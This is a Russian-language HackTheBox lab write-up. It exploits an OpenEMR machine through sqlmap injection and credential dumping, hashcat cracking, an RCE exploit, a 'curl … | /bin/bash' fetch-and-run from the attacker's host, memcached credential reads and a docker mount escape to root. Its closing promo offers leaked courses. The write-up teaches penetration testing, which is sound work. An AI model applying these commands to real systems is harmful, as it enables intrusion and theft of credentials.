
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.
10.10.10.188 blackfield.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

На сервере работают SSH и веб сервер Apache.

И на сайте возможна авторизация.

Entry Point
В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.

И авторизовавшись с этими данными, получим только какую-то картинку.

Просматривая сайт дальше, на About странице находим упоминание о HMS.

Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb

Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).

И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.

В коде видим, что нужно указать учетные данные.

А в описании к эксплоиту есть ссылка на PoC.

Изучая материал по данной ссылке, узнаем о SQL инъекции.

USER
Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.

После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.

Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.
sqlmap -r r.req

И есть инъекция! Получим все БД.
sqlmap -r r.req --dbs

Теперь узнаем таблицы из openemr.
sqlmap -r r.req -D openemr --tables

Самую интересную я выделил на изображении, давайте получим данные из нее.
sqlmap -r r.req -D openemr -T users_secure --dump

И есть хеш bcrypt, давайте узнаем его режим в Hashcat.
hashcat --example | grep -A2 -B2 '\$2a\$'

А теперь перебираем и находим пароль.
hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force

И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.


Откроем листенер и выполним эксплоит.

Глянем какие есть пользователи.

Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.
python3 -c 'import pty;pty.spawn("/bin/bash")'

И получаем первый флаг.

USER2
Для разведки на удаленном хосте используем скрипт LinPEAS.
curl 10.10.15.110/linpeas.sh | /bin/bash





И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab’ы. Давайте подключимся к порту 11211 и запросим их.
telnet localhost 11211
stats slabs

Slab’ы делятся на еще более мелкие куски — chunk’и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.
stats cachedump 1 0

Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.
get user
get passwd

И получаем второго пользователя(можно авторизоваться по SSH).

ROOT
Мы уже упоминали докер, давайте посмотрим образы.
docker images

Есть один образ ubuntu. Давайте примонтируем его.
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
И забираем флаг рута.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.